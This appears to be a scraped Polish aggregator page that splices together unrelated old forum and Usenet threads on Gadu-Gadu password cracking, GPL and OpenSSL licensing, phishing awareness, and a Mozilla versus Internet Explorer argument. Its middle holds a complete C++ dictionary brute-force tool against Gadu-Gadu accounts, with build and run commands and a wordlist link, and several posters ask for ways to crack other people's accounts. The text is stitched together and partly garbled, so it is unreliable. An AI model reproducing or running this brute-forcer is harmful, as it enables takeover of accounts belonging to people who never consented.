kaniagostyn *UKS Kania Gostyń
kod. begin ship log, stardate: [-29]1915.0, siembid reports:
cze chłopaki, jak odgadnąć kod gg, kogoś innego oczywiście
Hmmm kod gg... No ja to bym spróbował najpierw ROT13, później a=1, b=2
itp, później na odwrót 1=a, 2=b, dalej z=1 itp, a później łamanie SSL w
pamięci.
Leafnode
seriale. On 24 May 2004 21:13:32 +0200, "lukasz" <lukaszexWYTNI@op.pl
wrote:
Moze ktoś z was umie łamać kody rejestracyjne. Mam taki program
http://album.intermikro.com/setup.exe
Byłbym wdzięczny
NTG!
alt.pl.comp.os.cracking.lamanie-programow
* Pozdrawiam,
* Fat
* [ GG: 1121560 ] [http://cyberball.fans.pl/cm]
* [www.lechia.soccer.com.pl] [www.90minut.pl]
1-Wire na AVR i nieco inne podejście niż typowe.
| Wbrew pozorom GPL wcale nie powoduje takiego zatrucia kodu jak pisza
| oponenci. Z drugiej strony ja uwazam, ze normalne jest, ze skoro ktos
| udostepnia ci za darmo swoja prace, to ty wprowadzajac do niej
| modyfikacje rowniez ja udostepniasz.
To o czym piszesz zapewnia LPGL. A GPL dodatkowo "zmusza" cię do ujawnia
własnego kodu nawet jeśli nie nanosiłeś poprawek do czyjegoś kodu.
Myślę, że słowo zatrucie jest tu jak najbardziej na miejscu.
Nieprawda. Co prawda wielu madrych ludzi toczy o to spory i ja nie
podejmuje sie z tym polemizowac, jednak powszechnie uwaza sie, ze
ujawnic nalezy tylko ta czesc w ktorej wykorzystuje sie dany modul na
GPLu, tak wiec jesli np. wykorzystujesz OpenSSL jako DLL dolaczany do
swojego programu to samego kodu programu nie musisz ujawniac. Jesli
integrujesz cos z OpenSLL w jednej bibliotece to jak najbardziej taki
kod nalezy ujawnic.
Mozna polemizowac z tym, ale chyba zgodzisz sie ze mna, ze jesli
korzystasz za free z czyjejs pracy to samemu trzeba cos tez dac? Jesli
taka zasada komus sie nie podoba to jest przeciez mnostwo komercyjnych
programow, ktore nie maja takich warunkow.
Inbna sprawa to powszechne lamanie tej licencji - patrz chociazby
program Platnik, wykorzystujacy openSSL czy gg, ktory rowniez zawiera
ten modul, co zreszta autorzy cami pisza... No i co, mam pisac do Stallmana?
1-Wire na AVR i nieco inne podejście niż typowe. T.M.F. napisał(a):
Nieprawda. Co prawda wielu madrych ludzi toczy o to spory i ja nie
podejmuje sie z tym polemizowac, jednak powszechnie uwaza sie, ze
ujawnic nalezy tylko ta czesc w ktorej wykorzystuje sie dany modul na
GPLu, tak wiec jesli np. wykorzystujesz OpenSSL jako DLL dolaczany do
swojego programu to samego kodu programu nie musisz ujawniac.
jeśli mowa o GPL to musisz, nawet jeśli korzystasz z biblioteki
dynamicznej. za to OpenSSL jest licencji OpenSSL, podobne do licencji
BSD czy Apache, nie na GPL.
Jesli integrujesz cos z OpenSLL w jednej bibliotece to jak
najbardziej taki kod nalezy ujawnic.
nie musisz.
Inbna sprawa to powszechne lamanie tej licencji - patrz chociazby
program Platnik, wykorzystujacy openSSL czy gg, ktory rowniez zawiera
ten modul, co zreszta autorzy cami pisza... No i co, mam pisac do
Stallmana?
nie wiem jak Płatnik, ale GG wykorzystuje zgodnie OpenSSL z licencją --
w oknie informacji o programie informuje o pochodzeniu kodu.
w.
Dla spamerów-oszustów.... lolka napisał(a):
Grzegorz Mucha napisał(a):
| Przecież tego przychodzi na metry... swoją drogą, gmail rozpoznaje
| większość takich syfów, wyłącza wszystkie linki i ostrzega że
| najprawdopodobniej "nadawca maila nie jest tym, za kogo się podaje".
Ja nigdy nie dostałam wcześniej :)
Lolka, zasada jest zawsze ta sama. Nigdy, przenigdy nie wciskaj linka
przesłanego mailem przez osobę nieznaną. Co do organizacji, to żadna
poważna firma nie będzie się z Tobą kontaktować poprzez maila czy gg.
Wydębianie haseł czy innych kodów od osób nieuświadomionych jest o wiele
łatwiejsze niż bawienie się w łamanie jakichś hasłem czy cóś.
Dla spamerów-oszustów.... PawełK napisał(a):
Lolka, zasada jest zawsze ta sama. Nigdy, przenigdy nie wciskaj linka
przesłanego mailem przez osobę nieznaną. Co do organizacji, to żadna
poważna firma nie będzie się z Tobą kontaktować poprzez maila czy gg.
Wydębianie haseł czy innych kodów od osób nieuświadomionych jest o wiele
łatwiejsze niż bawienie się w łamanie jakichś hasłem czy cóś.
Ależ ja to wiem :))
gg. ludzie potrzebuje szybko jakiegoś bardzo prostego w obsludze łamacza kodów do gg
będzie dużo ++++++++++++++++++++++++++
aaa i najlepiej w PL
gg.
łamacza kodów do gg
Co rozumiesz przez pojęcie kod? Kod tzw Token ktory jest portzebny do zarejestrowania nowego numeru czy hasło?
Dodam że "łamać" hasła możesz tylko kontom które są na Twoim komputerze.
Łamacz kodów gg. Mam prosbe!!!
Czy ma ktos program który lamie kody do gadu-gadu... Niestety mi sie ktos wlamal i zmienil haslo. Nie wiem co t5eraz zrobic wiec to jest chyba jedyna opcja. Prosze o podanie jakiegos linku ..
z góry dzieki;) dnia 09 Maj 2007 13:05, w całości zmieniany 1 raz
++za pomoc mocny plusik. szukam łamacza kodów do gg prosze za pomoc +
łamacze archiwum rar. sciagnełem torrent Ghost rider a nie ma hasła do archiwum zna ktos moze jakis program do łamania kodow. Nie umeim obsługiwac sie rar cracker jak ktos mi wytłumaczy to bede wdzieczny moje gg(9787545)
gadu-gadu lamacz hasel. Troche sie nudzilem i powstal ( wykorzystujac przykladowe programy
dolaczone do libgadu ) lamacz hasel kont gg.
Instalacja:
Sciagamy libgadu, rozpakowywujemy, kompilujemy, zapisujemy ponizszy
kod zrodlowy do plku gg_brutal.cpp i umieszczamy w katalogu examples.
Z katalogu examples kompilujemy poznisza komenda programik
g++ -I.. -I../lib -I../src gg_brutal.cpp -o gg_brutal ../lib/libgadu.a -lssl -lcrypto
Odpalamy:
./gg_brutal uin slownik
Przykladowe slowniki sciagmy stad:
http://packetstormsecurity.nl/Crackers/wordlists/
/*
* GADU-GADU brutal force
*
*/
#include <stdio.h
#include <stdlib.h
#include <string.h
#include <errno.h
#include "libgadu.h"
#include <unistd.h
#include <iostream
#include <fstream
using namespace std;
int main(int argc, char **argv)
{
struct gg_session *sess;
struct gg_event *e;
struct gg_login_params p;
if (argc < 3)
{
std::cout<<"usage: <uin<password_file
";
return 0;
}
gg_debug_level = 0;
memset(&p, 0, sizeof(p));
p.uin = atoi(argv[1]);
//p.password = argv[2];
char buffer[500];
ifstream INFILE(argv[2], ios::in);
if(!INFILE) {
cerr<<"dictionary could not be opened"<<endl;
exit(1);
}
while (!INFILE.eof())
{
INFILE.getline(buffer, sizeof(buffer));
p.password = buffer;
cout<<"
NEXT: ";
cout<<p.password;
if(sess = gg_login(&p))
{
cout<<"
WE HAVE PASSWORD !!!!! : "<<p.password << "
" ;
gg_logoff(sess);
gg_free_session(sess);
return 0;
}
}
cout<<"
failed to crack the password :(
";
gg_free_session(sess);
return 0;
}
--
(o_ compbatant
// gg:1256576 xbzcong@b2.cy <- rot13 :)
V_/_ http://compbatant.kgb.pl/
Linux 2.4.20-gentoo-r6
Mozilla mailto. Tristan Alder napisał(a):
| | Cechą przeglądarki jest przeglądanie, a nie paski.
| | SideBar _służy_ do przeglądania.
| A co to jest i jak to doinstalować? Co mi to da?
| Instaluj się standardowo - F9 i się pobaw.
Takie coś to Miś też ma, tyle że nie w jedym pasku, ale osobno. Ale
historia, Ulubione się właśnie tak włączają. Dla mnie przydatność
zerowa.
Widać wcale tego nie objerzałeś do końca - funkcjonalność SideBar w Mozilli nie
ogranicza się do pokazywania historii oraz bookmarków. Mozna tam mieć pod ręką
specjalnie przygotowane serwisy informacyjne czy inne, a jeżeli ktoś zna XUL
może tam sobie wstawić dowolną aplikację.
| | A czy jest to zwarty system, czy tylko jakaś atrapa i nakładka na IE?
| Nie rozumiem co masz na myśli mówiąc atrapa? Nakładka -- owszem. Ale
| Skóry są nakładką właśnie, czyż nie?
| Skóry tak, ale Mozilla obsługę skór ma zaszytą we własnym kodzie,
A IE nie. I bardzo dobrze. Po co obciążać kod czymś, co jest w
zasadzie bajerem wykorzystywanym przez nielicznych. Nie czuję potrzeby
bawienia się w upiększanie IE, skoro już w swojej wersji podstawowej
jest on dość ładny i, co najważniejsze, funkcjonalny!
W Mozilli obsługa skór nie jest na siłę - cały interfejs Mozilli renderowany
jest przez Gecko, czyli ten sam silnik, który wyświetla strony. Krótko:
interfejs Mozilli jest napisany w XUL, CSS, JS. Zmiana skóry sprowadza się do
zmiany plików z opisem tego interfejsu (JS, CSS, XUL, grafika)
| natomiast
| ten program robi zmianę skór z 'zewnątrz' IE -
No i dobrze -- dzięki udostępniueniu przez MSa biblioteki renderującej
HTML, każdy może sobie napisać własną przeglądarkę o jakości IE.
Silnik Mozilli - Gecko - też jest publicznie dostępny i powstają na nim
komercyjne i niekomercyjne browsery. Właściwie to właśnie chodzi o to, że
Mozilla jest tylko demonstracją możliwości Gecko, a nie programem dla end-usera.
Przeglądarki dla end-usera oparte na Gecko mają pisać inni.
| | Bo niestety, ale:
| | a) niewielu potrafi wykorzystać zalety PNG
| Czyli jest to na razie sztuka dla sztuki.
| Przez ignorancję IE...
O! To jak ja wypuszczę Tristan Eksplorer, co będzie rozumiał tylko dwa
znaczniki, to ja będę winny upadku stron? Nie!
Jak będziesz monopolistą i będziesz miał standardy w d**ie to poniekąd tak.
| a) A mi się mieści!
| http://home.cnet.com/software/0-3227884-8-20005816-6.html?tag=st.sw.3...
| 8-20005816-4.next.3227884-8-20005816-6
| Ale ma ponad 80 znaków w linii co jest niezgodne z netykietą.
Ale w przypadku linków jest. To łamanie jest prędzej niezgodne, bo
trzeba sklejać.
A gdzie w netykiecie masz napisane, że jak trzeba sklejać, to jest źle????
| b) Nie wiem kto przeprowadza te testy, ale u mnie Mozilla to żółw nad
| żółwiami! Gdyby tak nie bylo, nie wpadłbym na taki argument. Po prostu
| krew mnie zalewa, jak próbuję w niej coś testować...
| Przeinstaluj system,
Nie raz instalowałem. Tym razem nie widzę potrzeby, bo poza Mozillą
wszystko działa wyjątkowo sprawnie!
Może masz jakąś specjalną wersję systemu: 'IE only'?
| albo coś, bo to co się u Ciebie dzieje, to jakieś niezłe szopki.
Tylko czemu te szopki wykonuje Mozilla a nie IE?
Nie wiem - nie siedzę w Twoim komputerze.
| | Poza tym proponuję zaintereować się pipeliningiem w Mozilli.
| Czym?
| Preferences -Advanced -HTTP Networking
No i włączyłem. Ale co to jest?
Normalna przeglądarka wysyła zapytanie do serwera i wątek pobierania czeka, aż
nadejdzie z serwera odpowiedź, co w przypadku zapchanych serwerów skutkuje
długim czasem pobierania stron. Przeglądarka obslugująca pipelining wysyła do
serwera kilka żądań nie czekają na odpowiedź na każde po kolei. Jeżeli serwer
przetworzy któreś z żądań - wysyła na nie odpowiedź. W ten sposób pobieranie
jest szybsze, bo nie czekamy na każdą odpowiedź osobno.
| | IE też sam z siebie nie łapie.
| Jak nie? Zainstalowałem IE, zainstalowałem GetRighta i działa...
| Tak to nie. GetRight instaluje plugina - bez niego IE nic nie złapie.
A gdzie znajdę taki do Mozilli?
Jest ten sam, co do Opery. Zapewne na stronie GetRighta można zassać.
Jak wiec widać, nie jestem na NIE. Są programy, które sobie chwalę.
Między innymi właśnie GR. Natomiast raczej nie lubią mnie programy
darmowe. Go!Zilla stawiała sie strasznie, a jej obsługa mnie drażniła.
Za to z GR polubiłem się od wielu lat i żyjemy razem w pełnej
symbiozie...
Z darmowych to mnie GG nie lubi, a reszta chyba lubi. No i chyba mnie IE nie
lubi, bo u mnie nie działa tak wspaniale szybko jak u Ciebie :)
zanotowane.pldoc.pisz.plpdf.pisz.plshirli.pev.pl